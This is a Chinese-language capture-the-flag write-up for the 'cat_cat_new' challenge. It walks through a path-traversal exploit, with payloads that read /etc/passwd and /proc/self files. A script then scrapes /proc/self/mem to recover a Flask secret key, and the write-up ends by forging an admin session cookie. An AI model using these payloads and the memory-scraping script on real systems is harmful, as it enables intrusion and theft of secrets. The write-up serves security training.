攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹)
一道有关任意文件读取,Linux敏感文件,flask-session伪造的题目
一、基础知识(参考链接)
- /etc/passwd
该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)
- /proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。
- /proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数。
- /proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。
- /proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。
- flask-session结构
flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。
二、解题过程
打开题目环境可以看到是一个介绍猫猫的网站
随便点开一个介绍,看到url上使用GET请求传递了一个名为file的参数。想到可能有文件包含漏洞。
传递参数?file=../../../etc/passwd发现存在漏洞
读取当前进程的命令行参数。?file=../../../../proc/self/cmdline。发现有一个通过python启动app.py的命令。所以该网站是一个python框架。根据app.py可以知道是flask框架。(该文件常常为flask项目结构中的主程序文件。)
尝试找到并读取app.py,在上一级目录中找到(该路径不是固定的)。读取到app.py的代码内容。
复制文本内容,将字符串f-string格式化输出美化一下。
import os import uuid from flask import Flask, request, session, render_template, Markup from cat import cat flag = "" app = Flask( __name__, static_url_path='/', static_folder='static' ) app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh if os.path.isfile("/flag"): # 导入flag文件并删除掉 flag = cat("/flag") os.remove("/flag") @app.route('/', methods=['GET']) def index(): detailtxt = os.listdir('./details/') cats_list = [] for i in detailtxt: cats_list.append(i[:i.index('.')]) return render_template("index.html", cats_list=cats_list, cat=cat) @app.route('/info', methods=["GET", 'POST']) def info(): filename = "./details/" + request.args.get('file', "") start = request.args.get('start', "0") end = request.args.get('end', "0") name = request.args.get('file', "")[:request.args.get('file', "").index('.')] return render_template("detail.html", catname=name, info=cat(filename, start, end)) @app.route('/admin', methods=["GET"]) # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。 def admin_can_list_root(): if session.get('admin') == 1: return flag else: session['admin'] = 0 return "NoNoNo" if __name__ == '__main__': app.run(host='0.0.0.0', debug=False, port=5637)
flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址。?file=../../../proc/self/maps
接下来编写脚本获取secret_key,首先将返回的maps文件的内容保存到test.txt文件中。下面是我写的蹩脚脚本。
import re import requests maps=open('test.txt') b = maps.read() list = b.split('\\n')for line in list: if 'rw' in line: addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line) #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。 start = int(addr.group(1),16) #将十六进制字符转化为十进制数,为了符合start参数格式参考链接 end = int(addr.group(2),16) #将十六进制字符转化为十进制数,为了符合end参数格式 print(start,end) url = f"http://61.147.171.105:63646/info?file=../../../proc/self/mem&start={start}&end={end}" #使用start和end参数读取mem response = requests.get(url) secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text) #uuid4()生成的字符串除去-符号后为固定的32字节(128bit),find if secret_key: print(secret_key) break
运行脚本得到secret_key:21bf088582fe42b8a1845c2af1489035*abcdefgh
有了secret_key后接下来就是伪造session,session在访问/admin路径时的cookie中。session为eyJhZG1pbiI6MH0.ZCWFJA.MJdUl1lrmoGbQ4f8dfRI-27Im0E
使用工具flask_session_cookie_manager伪造session。使用方法为:
解密 python flask_session_cookie_manager3.py decode -s “secret_key” -c “session”
加密 python flask_session_cookie_manager3.py encode -s “secret_key” -t “data”
最后使用伪造的session来修改cookie并访问/admin。获得flag:catctf{Catch_the_c4t_HaHa}
三、补充知识
- /proc/self/environ
/proc/self/environ文件包含了当前进程的环境变量
- /proc/self/fd
这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径。这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的fd目录下的pid文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容。通过/proc/self/fd/§pid§来查看你当前进程所打开的文件内容。
当pid不知道时,我们可以通过bp爆破,pid是数字。
- /proc/self/exe
获取当前进程的可执行文件的路径